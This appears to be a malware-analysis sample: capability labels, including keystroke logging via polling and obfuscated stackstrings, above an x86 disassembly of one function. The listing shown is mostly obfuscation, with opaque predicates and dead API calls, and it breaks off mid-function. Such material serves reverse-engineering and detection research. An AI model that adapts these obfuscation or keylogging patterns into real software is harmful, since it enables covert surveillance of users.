Function at 0x1000b008
Capabilities:
Contain obfuscated stackstrings
Get common file path
Get disk information
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xf74
push esi
push edi
mov dword [ebp - 0x1bc], 0xd162c5d1
mov dword [ebp - 0xf8], 0x45d764ce
mov dword [ebp - 0x2a4], 0xbebf0a0c
mov dword [ebp - 0x304], 0xffffffff
mov dword [ebp - 0x180], 0xfff6
mov dword [ebp - 0xaf0], 2
mov dword [ebp - 0xce4], 0x5df97f74
mov dword [ebp - 0x30], 0
jmp 0x1000b069
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 2
jge 0x1000b07f
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x2a0], 0xe6f8
jmp 0x1000b062
mov dword [ebp - 0x30], 0
jmp 0x1000b08f
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 1
jge 0x1000b0a5
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x31c], 5
jmp 0x1000b088
mov dword [ebp - 0x30], 0
jmp 0x1000b0b5
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 1
jge 0x1000b0cb
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x6cc], 0
jmp 0x1000b0ae
mov eax, dword [ebp - 0x180]
mov dword [ebp - 0xa98], eax
mov eax, dword [ebp - 0x180]
inc eax
mov dword [ebp - 0x180], eax
cmp dword [ebp - 0xa98], 0x3fb18ba7
jge 0x1000b0fc
mov dword [ebp - 0x840], 1
jmp 0x1000b103
and dword [ebp - 0x840], 0
mov eax, dword [ebp - 0x840]
mov dword [ebp - 0x2a4], eax
mov eax, dword [ebp - 0x2a4]
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 0
jne 0x1000b2d9
cmp dword [ebp - 0x180], 0x1837def5
je 0x1000b140
mov dword [ebp - 0xae8], 1
jmp 0x1000b147
and dword [ebp - 0xae8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2a0]
mov dword [ebp - 0xd90], eax
mov eax, dword [ebp - 0x2a4]
cmp dword [ebp - 0xf8], eax
jl 0x1000b174
mov dword [ebp - 0x9e4], 1
jmp 0x1000b17b
and dword [ebp - 0x9e4], 0
mov eax, dword [ebp - 0x9e4]
neg eax
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x2a0]
jge 0x1000b19e
mov dword [ebp - 0x9ec], 1
jmp 0x1000b1a5
and dword [ebp - 0x9ec], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x9ec]
sub ecx, dword [ebp + eax - 0x31c]
cmp ecx, 0x36eaf0ab
je 0x1000b1cc
mov dword [ebp - 0x828], 1
jmp 0x1000b1d3
and dword [ebp - 0x828], 0
cmp dword [ebp - 0x828], 0
jg 0x1000b1e8
mov dword [ebp - 0x658], 1
jmp 0x1000b1ef
and dword [ebp - 0x658], 0
mov eax, dword [ebp - 0xf8]
cmp dword [ebp - 0x658], eax
jg 0x1000b209
mov dword [ebp - 0x2fc], 1
jmp 0x1000b210
and dword [ebp - 0x2fc], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x2fc]
mov dword [ebp + eax - 0x31c], ecx
mov eax, dword [ebp - 0x180]
imul eax, dword [ebp - 0x2fc]
cmp eax, dword [ebp - 0x304]
jl 0x1000b244
mov dword [ebp - 0x69c], 1
jmp 0x1000b24b
and dword [ebp - 0x69c], 0
cmp dword [ebp - 0x69c], 1
je 0x1000b269
cmp dword [ebp - 0x304], 0
je 0x1000b269
mov dword [ebp - 0x324], 1
jmp 0x1000b270
and dword [ebp - 0x324], 0
mov eax, dword [ebp - 0xf8]
cmp dword [ebp - 0x324], eax
je 0x1000b28a
mov dword [ebp - 0x6a4], 1
jmp 0x1000b291
and dword [ebp - 0x6a4], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2a0]
cmp dword [ebp - 0x6a4], eax
je 0x1000b2b2
mov dword [ebp - 0x32c], 1
jmp 0x1000b2b9
and dword [ebp - 0x32c], 0
mov eax, dword [ebp - 0xf8]
cmp dword [ebp - 0x32c], eax
je 0x1000b2d9
mov eax, 0xfcb758c9
test eax, eax
jne 0x1000b2d9
and dword [ebp - 0x6ac], 0
jmp 0x1000b2e3
mov dword [ebp - 0x6ac], 1
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x6ac]
sub ecx, dword [ebp + eax - 0x2a0]
jne 0x1000b304
mov dword [ebp - 0x334], 1
jmp 0x1000b30b
and dword [ebp - 0x334], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2a0]
cmp dword [ebp - 0x334], eax
jne 0x1000b32c
mov dword [ebp - 0x6b4], 1
jmp 0x1000b333
and dword [ebp - 0x6b4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2a0]
cmp dword [ebp - 0x6b4], eax
jl 0x1000b354
mov dword [ebp - 0x33c], 1
jmp 0x1000b35b
and dword [ebp - 0x33c], 0
mov eax, dword [ebp - 0x304]
imul eax, dword [ebp - 0x33c]
cmp eax, 0xffffffff
jae 0x1000b379
mov dword [ebp - 0x6bc], 1
jmp 0x1000b380
and dword [ebp - 0x6bc], 0
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov edx, dword [ebp - 0x6bc]
sub edx, dword [ebp + ecx - 0x6cc]
cmp dword [ebp + eax - 0x2a0], edx
jl 0x1000b3b5
push 2
pop eax
test eax, eax
je 0x1000b3b5
mov dword [ebp - 0x344], 1
jmp 0x1000b3bc
and dword [ebp - 0x344], 0
cmp dword [ebp - 0x344], 0xffffffff
je 0x1000b3d1
mov dword [ebp - 0x6c4], 1
jmp 0x1000b3d8
and dword [ebp - 0x6c4], 0
mov eax, dword [ebp - 0xaf0]
cmp dword [ebp - 0x6c4], eax
jg 0x1000b3f2
mov dword [ebp - 0x34c], 1
jmp 0x1000b3f9
and dword [ebp - 0x34c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2a0]
imul eax, dword [ebp - 0x34c]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x6cc]
jne 0x1000b428
mov dword [ebp - 0x354], 1
jmp 0x1000b42f
and dword [ebp - 0x354], 0
mov eax, dword [ebp - 0x1bc]
cmp dword [ebp - 0x354], eax
jg 0x1000b449
mov dword [ebp - 0x6d4], 1
jmp 0x1000b450
and dword [ebp - 0x6d4], 0
cmp dword [ebp - 0x6d4], 0xfffffff6
jl 0x1000b465
mov dword [ebp - 0x35c], 1
jmp 0x1000b46c
and dword [ebp - 0x35c], 0
mov eax, dword [ebp - 0x1bc]
cmp dword [ebp - 0x35c], eax
je 0x1000b486
mov dword [ebp - 0x6dc], 1
jmp 0x1000b48d
and dword [ebp - 0x6dc], 0
mov eax, dword [ebp - 0x1bc]
add eax, dword [ebp - 0x6dc]
je 0x1000b4ac
xor eax, eax
inc eax
je 0x1000b4ac
mov dword [ebp - 0x364], 1
jmp 0x1000b4b3
and dword [ebp - 0x364], 0
mov eax, dword [ebp - 0x364]
sub eax, dword [ebp - 0x1bc]
mov dword [ebp - 0x1bc], eax
mov dword [ebp - 0x1a0], 0xd162c5d1
mov dword [ebp - 0x11c], 0x45d764ce
mov dword [ebp - 0x30c], 0xbebf0a0c
mov dword [ebp - 0x2b0], 0xffffffff
mov dword [ebp - 0x148], 0xfff6
mov dword [ebp - 0xb08], 2
mov dword [ebp - 0xde0], 0x5df97f74
mov dword [ebp - 0x28], 0
jmp 0x1000b51b
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 2
jge 0x1000b531
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x290], 0xe6f8
jmp 0x1000b514
mov dword [ebp - 0x28], 0
jmp 0x1000b541
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 1
jge 0x1000b557
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x37c], 5
jmp 0x1000b53a
mov dword [ebp - 0x28], 0
jmp 0x1000b567
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 1
jge 0x1000b57d
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x72c], 0
jmp 0x1000b560
mov eax, dword [ebp - 0x148]
mov dword [ebp - 0xaf8], eax
mov eax, dword [ebp - 0x148]
inc eax
mov dword [ebp - 0x148], eax
cmp dword [ebp - 0xaf8], 0x3fb18ba7
jge 0x1000b5ae
mov dword [ebp - 0x6e4], 1
jmp 0x1000b5b5
and dword [ebp - 0x6e4], 0
mov eax, dword [ebp - 0x6e4]
mov dword [ebp - 0x30c], eax
mov eax, dword [ebp - 0x30c]
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 0
jne 0x1000b78b
cmp dword [ebp - 0x148], 0x1837def5
je 0x1000b5f2
mov dword [ebp - 0xb00], 1
jmp 0x1000b5f9
and dword [ebp - 0xb00], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x290]
mov dword [ebp - 0xd98], eax
mov eax, dword [ebp - 0x30c]
cmp dword [ebp - 0x11c], eax
jl 0x1000b626
mov dword [ebp - 0x36c], 1
jmp 0x1000b62d
and dword [ebp - 0x36c], 0
mov eax, dword [ebp - 0x36c]
neg eax
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x290]
jge 0x1000b650
mov dword [ebp - 0x6ec], 1
jmp 0x1000b657
and dword [ebp - 0x6ec], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x6ec]
sub ecx, dword [ebp + eax - 0x37c]
cmp ecx, 0x36eaf0ab
je 0x1000b67e
mov dword [ebp - 0x374], 1
jmp 0x1000b685
and dword [ebp - 0x374], 0
cmp dword [ebp - 0x374], 0
jg 0x1000b69a
mov dword [ebp - 0x6f4], 1
jmp 0x1000b6a1
and dword [ebp - 0x6f4], 0
mov eax, dword [ebp - 0x11c]
cmp dword [ebp - 0x6f4], eax
jg 0x1000b6bb
mov dword [ebp - 0x300], 1
jmp 0x1000b6c2
and dword [ebp - 0x300], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x300]
mov dword [ebp + eax - 0x37c], ecx
mov eax, dword [ebp - 0x148]
imul eax, dword [ebp - 0x300]
cmp eax, dword [ebp - 0x2b0]
jl 0x1000b6f6
mov dword [ebp - 0x6fc], 1
jmp 0x1000b6fd
and dword [ebp - 0x6fc], 0
cmp dword [ebp - 0x6fc], 1
je 0x1000b71b
cmp dword [ebp - 0x2b0], 0
je 0x1000b71b
mov dword [ebp - 0x384], 1
jmp 0x1000b722
and dword [ebp - 0x384], 0
mov eax, dword [ebp - 0x11c]
cmp dword [ebp - 0x384], eax
je 0x1000b73c
mov dword [ebp - 0x704], 1
jmp 0x1000b743
and dword [ebp - 0x704], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x290]
cmp dword [ebp - 0x704], eax
je 0x1000b764
mov dword [ebp - 0x38c], 1
jmp 0x1000b76b
and dword [ebp - 0x38c], 0
mov eax, dword [ebp - 0x11c]
cmp dword [ebp - 0x38c], eax
je 0x1000b78b
mov eax, 0xfcb758c9
test eax, eax
jne 0x1000b78b
and dword [ebp - 0x70c], 0
jmp 0x1000b795
mov dword [ebp - 0x70c], 1
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x70c]
sub ecx, dword [ebp + eax - 0x290]
jne 0x1000b7b6
mov dword [ebp - 0x394], 1
jmp 0x1000b7bd
and dword [ebp - 0x394], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x290]
cmp dword [ebp - 0x394], eax
jne 0x1000b7de
mov dword [ebp - 0x714], 1
jmp 0x1000b7e5
and dword [ebp - 0x714], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x290]
cmp dword [ebp - 0x714], eax
jl 0x1000b806
mov dword [ebp - 0x39c], 1
jmp 0x1000b80d
and dword [ebp - 0x39c], 0
mov eax, dword [ebp - 0x2b0]
imul eax, dword [ebp - 0x39c]
cmp eax, 0xffffffff
jae 0x1000b82b
mov dword [ebp - 0x71c], 1
jmp 0x1000b832
and dword [ebp - 0x71c], 0
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov edx, dword [ebp - 0x71c]
sub edx, dword [ebp + ecx - 0x72c]
cmp dword [ebp + eax - 0x290], edx
jl 0x1000b867
push 2
pop eax
test eax, eax
je 0x1000b867
mov dword [ebp - 0x3a4], 1
jmp 0x1000b86e
and dword [ebp - 0x3a4], 0
cmp dword [ebp - 0x3a4], 0xffffffff
je 0x1000b883
mov dword [ebp - 0x724], 1
jmp 0x1000b88a
and dword [ebp - 0x724], 0
mov eax, dword [ebp - 0xb08]
cmp dword [ebp - 0x724], eax
jg 0x1000b8a4
mov dword [ebp - 0x3ac], 1
jmp 0x1000b8ab
and dword [ebp - 0x3ac], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x290]
imul eax, dword [ebp - 0x3ac]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x72c]
jne 0x1000b8da
mov dword [ebp - 0x3b4], 1
jmp 0x1000b8e1
and dword [ebp - 0x3b4], 0
mov eax, dword [ebp - 0x1a0]
cmp dword [ebp - 0x3b4], eax
jg 0x1000b8fb
mov dword [ebp - 0x734], 1
jmp 0x1000b902
and dword [ebp - 0x734], 0
cmp dword [ebp - 0x734], 0xfffffff6
jl 0x1000b917
mov dword [ebp - 0x3bc], 1
jmp 0x1000b91e
and dword [ebp - 0x3bc], 0
mov eax, dword [ebp - 0x1a0]
cmp dword [ebp - 0x3bc], eax
je 0x1000b938
mov dword [ebp - 0x73c], 1
jmp 0x1000b93f
and dword [ebp - 0x73c], 0
mov eax, dword [ebp - 0x1a0]
add eax, dword [ebp - 0x73c]
je 0x1000b95e
xor eax, eax
inc eax
je 0x1000b95e
mov dword [ebp - 0x3c4], 1
jmp 0x1000b965
and dword [ebp - 0x3c4], 0
mov eax, dword [ebp - 0x3c4]
sub eax, dword [ebp - 0x1a0]
mov dword [ebp - 0x1a0], eax
mov dword [ebp - 0x50], 9
mov dword [ebp - 0x25c], 0
jmp 0x1000b997
mov eax, dword [ebp - 0x25c]
inc eax
mov dword [ebp - 0x25c], eax
cmp dword [ebp - 0x25c], 3
jge 0x1000b9b3
mov eax, dword [ebp - 0x25c]
mov dword [ebp + eax*4 - 0xb74], 0xd7f825e
jmp 0x1000b98a
mov dword [ebp - 0x50], 0
jmp 0x1000b9c3
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 2
jg 0x1000bb38
mov dword [ebp - 0x104], 0xffffffff
mov dword [ebp - 0x744], 0x2184e5a9
mov dword [ebp - 0x104], 2
jmp 0x1000b9fa
mov eax, dword [ebp - 0x104]
dec eax
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 0
jl 0x1000ba3f
mov byte [ebp - 0xf0], 0
movzx eax, byte [ebp - 0xf0]
test eax, eax
je 0x1000ba23
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
mov byte [ebp - 0xb0], 0
movzx eax, byte [ebp - 0xb0]
test eax, eax
je 0x1000ba3d
push 0
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
jmp 0x1000b9ed
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 0x57257ea0
jge 0x1000ba60
mov dword [ebp - 0x3cc], 1
jmp 0x1000ba67
and dword [ebp - 0x3cc], 0
mov dword [ebp - 0x744], 2
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0x744], eax
je 0x1000ba88
mov dword [ebp - 0x74c], 1
jmp 0x1000ba8f
and dword [ebp - 0x74c], 0
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp + eax*4 - 0xb74]
imul eax, dword [ebp - 0x3cc]
cmp eax, dword [ebp - 0x74c]
je 0x1000babd
mov eax, 0xeca6c849
test eax, eax
je 0x1000babd
mov dword [ebp - 0x3d4], 1
jmp 0x1000bac4
and dword [ebp - 0x3d4], 0
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp + eax*4 - 0xb74]
cmp dword [ebp - 0x3d4], eax
jle 0x1000bae2
mov dword [ebp - 0x754], 1
jmp 0x1000bae9
and dword [ebp - 0x754], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xb74]
imul eax, dword [ebp - 0x754]
mov ecx, dword [ebp - 0x50]
imul eax, dword [ebp + ecx*4 - 0xb74]
cmp eax, dword [ebp - 0x50]
jne 0x1000bb19
mov dword [ebp - 0x3dc], 1
jmp 0x1000bb20
and dword [ebp - 0x3dc], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x3dc]
mov dword [ebp + eax - 0xb74], ecx
jmp 0x1000b9bc
mov byte [ebp - 0xb2], 0
movzx eax, byte [ebp - 0xb2]
test eax, eax
je 0x1000bb59
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
mov dword [ebp - 0x150], 0xde19d29b
mov dword [ebp - 0xb30], 0xcdc345fe
mov dword [ebp - 0x12c], 1
mov dword [ebp - 0xc0], 0xb8e9646b
mov dword [ebp - 0xb28], 0xffffffff
mov dword [ebp - 0xb20], 0x8664a11
mov dword [ebp - 0xde8], 1
mov dword [ebp - 0x1c], 0
jmp 0x1000bbaf
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x1000bbc5
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xc2c], 0x6482
jmp 0x1000bba8
mov dword [ebp - 0x1c], 0
jmp 0x1000bbd5
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x1000bbeb
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xa2c], 7
jmp 0x1000bbce
mov dword [ebp - 0x1c], 0
jmp 0x1000bbfb
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x1000bc11
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xc18], 0xeafb5d1c
jmp 0x1000bbf4
mov dword [ebp - 0x150], 1
jmp 0x1000bc2a
mov eax, dword [ebp - 0x150]
dec eax
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 0
jl 0x1000bf0a
mov dword [ebp - 0xa84], 0x4e6d4f28
mov dword [ebp - 0xa80], 0x4e6d4f28
mov dword [ebp - 0xa7c], 0x4e6d4f28
mov dword [ebp - 0xa78], 0x4e6d4f28
mov dword [ebp - 0xdf0], 0xfffffff9
mov dword [ebp - 0x3fc], 0x69a75015
mov dword [ebp - 0xb38], 0
mov dword [ebp - 0x22c], 0x20ba2c16
mov dword [ebp - 0x764], 0x89c1c50d
mov dword [ebp - 0xc44], 0xffffffff
mov dword [ebp - 0xc40], 0xffffffff
mov dword [ebp - 0xc3c], 0xffffffff
mov dword [ebp - 0xc38], 0xffffffff
mov dword [ebp - 0xb64], 0xffffffff
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0xa84], 1
jmp 0x1000bcee
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xa84]
dec eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0xa84], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xa84], 0
jl 0x1000bd25
mov byte [ebp - 0xb4], 0
movzx eax, byte [ebp - 0xb4]
test eax, eax
je 0x1000bd23
push 0
push 0x2027
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetDlgItemTextA]
jmp 0x1000bcd5
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xc18]
mov dword [ebp - 0xb10], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xc18]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xc18], eax
cmp dword [ebp - 0xb10], 0xa5b7
jle 0x1000bd6b
mov dword [ebp - 0xb18], 1
jmp 0x1000bd72
and dword [ebp - 0xb18], 0
mov dword [ebp - 0xb20], 0xcccaea0a
mov eax, dword [ebp - 0x22c]
mov ecx, dword [ebp - 0xb28]
mov edx, dword [ebp - 0x22c]
inc edx
mov dword [ebp - 0x22c], edx
cmp ecx, eax
jg 0x1000bdd8
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xa2c]
cmp dword [ebp - 0x22c], eax
jle 0x1000bdba
mov dword [ebp - 0x75c], 1
jmp 0x1000bdc1
and dword [ebp - 0x75c], 0
mov eax, dword [ebp - 0x75c]
sub eax, dword [ebp - 0x12c]
jne 0x1000bdd8
and dword [ebp - 0x3e4], 0
jmp 0x1000bde2
mov dword [ebp - 0x3e4], 1
mov eax, dword [ebp - 0x3e4]
mov dword [ebp - 0x764], eax
mov eax, dword [ebp - 0x764]
mov dword [ebp - 0xe34], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xa2c]
mov dword [ebp - 0xdb4], eax
mov eax, dword [ebp - 0xb30]
cmp dword [ebp - 0xb38], eax
jl 0x1000be27
mov dword [ebp - 0x3ec], 1
jmp 0x1000be2e
and dword [ebp - 0x3ec], 0
mov eax, dword [ebp - 0x12c]
cmp dword [ebp - 0x3ec], eax
jle 0x1000be48
mov dword [ebp - 0x76c], 1
jmp 0x1000be4f
and dword [ebp - 0x76c], 0
cmp dword [ebp - 0x76c], 1
jne 0x1000be64
mov dword [ebp - 0x3f4], 1
jmp 0x1000be6b
and dword [ebp - 0x3f4], 0
mov eax, dword [ebp - 0x150]
mov eax, dword [ebp + eax*4 - 0xc2c]
imul eax, dword [ebp - 0x3f4]
test eax, eax
jl 0x1000be8f
mov dword [ebp - 0x774], 1
jmp 0x1000be96
and dword [ebp - 0x774], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xc44]
cmp dword [ebp - 0x774], eax
jl 0x1000beb7
mov dword [ebp - 0xb5c], 1
jmp 0x1000bebe
and dword [ebp - 0xb5c], 0
mov eax, dword [ebp - 0xb64]
mov dword [ebp - 0x3fc], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xa84]
cmp dword [ebp - 0x3fc], eax
jl 0x1000beeb
mov dword [ebp - 0x77c], 1
jmp 0x1000bef2
and dword [ebp - 0x77c], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x77c]
mov dword [ebp + eax - 0xa2c], ecx
jmp 0x1000bc1d
mov dword [ebp - 0xc0], 0
jmp 0x1000bf23
mov eax, dword [ebp - 0xc0]
inc eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 1
jg 0x1000bf88
mov dword [ebp - 0x12c], 0
jmp 0x1000bf45
mov eax, dword [ebp - 0x12c]
inc eax
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 2
jg 0x1000bf86
mov eax, dword [ebp - 0xc0]
cmp dword [ebp + eax*4 - 0xa2c], 0
je 0x1000bf72
mov eax, dword [ebp - 0xc0]
cmp dword [ebp + eax*4 - 0xc14], 0
je 0x1000bf70
jmp 0x1000bf86
jmp 0x1000bf84
mov eax, dword [ebp - 0xc0]
cmp dword [ebp + eax*4 - 0xc2c], 0
je 0x1000bf84
jmp 0x1000bf86
jmp 0x1000bf38
jmp 0x1000bf16
mov dword [ebp - 0x190], 0xd162c5d1
mov dword [ebp - 0x10c], 0x45d764ce
mov dword [ebp - 0x1cc], 0
mov byte [ebp - 0xb6], 0
movzx eax, byte [ebp - 0xb6]
test eax, eax
je 0x1000bfc2
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
mov dword [ebp - 0x1cc], 0
jmp 0x1000bfdb
mov eax, dword [ebp - 0x1cc]
dec eax
mov dword [ebp - 0x1cc], eax
cmp dword [ebp - 0x1cc], 0xffffffeb
jge 0x1000c276
mov dword [ebp - 0x13c], 0xdb22124f
mov dword [ebp - 0x13c], 0x12
jmp 0x1000c00b
mov eax, dword [ebp - 0x13c]
inc eax
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 0x1d
jne 0x1000c271
mov dword [ebp - 0x234], 0xffffffff
mov dword [ebp - 0x234], 6
jmp 0x1000c03b
mov eax, dword [ebp - 0x234]
dec eax
mov dword [ebp - 0x234], eax
cmp dword [ebp - 0x234], 0xffffffee
jl 0x1000c26c
mov dword [ebp - 0x1d4], 0
jmp 0x1000c061
mov eax, dword [ebp - 0x1d4]
inc eax
mov dword [ebp - 0x1d4], eax
cmp dword [ebp - 0x1d4], 2
jge 0x1000c07d
mov eax, dword [ebp - 0x1d4]
mov dword [ebp + eax*4 - 0xa44], 0xffffffff
jmp 0x1000c054
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0xa44], 0xe
jmp 0x1000c0ab
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xa44]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0xa44], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xa44], 0x14
jg 0x1000c267
mov dword [ebp - 0x1dc], 0xb9876427
mov dword [ebp - 0x23c], 0
jmp 0x1000c0e2
mov eax, dword [ebp - 0x23c]
inc eax
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 2
jge 0x1000c0fe
mov eax, dword [ebp - 0x23c]
mov dword [ebp + eax*4 - 0xcbc], 0xb64fda7e
jmp 0x1000c0d5
mov dword [ebp - 0x1dc], 0
jmp 0x1000c117
mov eax, dword [ebp - 0x1dc]
dec eax
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 0xffffffe2
je 0x1000c228
mov dword [ebp - 0x244], 0
jmp 0x1000c13d
mov eax, dword [ebp - 0x244]
inc eax
mov dword [ebp - 0x244], eax
cmp dword [ebp - 0x244], 3
jge 0x1000c159
mov eax, dword [ebp - 0x244]
mov dword [ebp + eax*4 - 0xa04], 0
jmp 0x1000c130
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xa04], 1
jmp 0x1000c187
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xa04]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xa04], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xa04], 0
jl 0x1000c223
mov dword [ebp - 0xbfc], 0xfffffffa
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xa04], 0
je 0x1000c1ca
cmp dword [ebp - 0xbfc], 1
jne 0x1000c1ca
mov dword [ebp - 0x404], 1
jmp 0x1000c1d1
and dword [ebp - 0x404], 0
mov eax, dword [ebp - 0x404]
sub eax, 0x18ec1e61
cmp eax, dword [ebp - 0x13c]
je 0x1000c1f0
mov dword [ebp - 0x784], 1
jmp 0x1000c1f7
and dword [ebp - 0x784], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x784]
sub ecx, dword [ebp + eax - 0xa04]
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xa04]
mov dword [ebp + eax*4 - 0xcbc], ecx
jmp 0x1000c16c
jmp 0x1000c10a
mov byte [ebp - 0xb8], 0
movzx eax, byte [ebp - 0xb8]
test eax, eax
je 0x1000c262
push 0xa5c
push 0x1ac4
push 0x2359
push 0x26fe
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Rectangle]
jmp 0x1000c090
jmp 0x1000c02e
jmp 0x1000bffe
jmp 0x1000bfce
mov dword [ebp - 0x2e0], 0xbebf0a0c
mov dword [ebp - 0x24c], 0x743d837b
mov dword [ebp - 0x1e4], 0
jmp 0x1000c2a3
mov eax, dword [ebp - 0x1e4]
inc eax
mov dword [ebp - 0x1e4], eax
cmp dword [ebp - 0x1e4], 1
jge 0x1000c2bf
mov eax, dword [ebp - 0x1e4]
mov dword [ebp + eax*4 - 0xc04], 0xfffd
jmp 0x1000c296
mov dword [ebp - 0x24c], 0
jmp 0x1000c2d8
mov eax, dword [ebp - 0x24c]
dec eax
mov dword [ebp - 0x24c], eax
cmp dword [ebp - 0x24c], 0
jl 0x1000c33a
mov dword [ebp - 0x188], 0xffffffff
mov byte [ebp - 0xb5], 0
movzx eax, byte [ebp - 0xb5]
test eax, eax
je 0x1000c303
call dword [sym.imp.USER32.dll_GetCaretBlinkTime]
mov dword [ebp - 0x188], 0
jmp 0x1000c31c
mov eax, dword [ebp - 0x188]
inc eax
mov dword [ebp - 0x188], eax
cmp dword [ebp - 0x188], 1
jge 0x1000c338
mov eax, dword [ebp - 0x188]
mov dword [ebp + eax*4 - 0xc04], 0xffff
jmp 0x1000c30f
jmp 0x1000c2cb
mov dword [ebp - 0x2f8], 0xffffffff
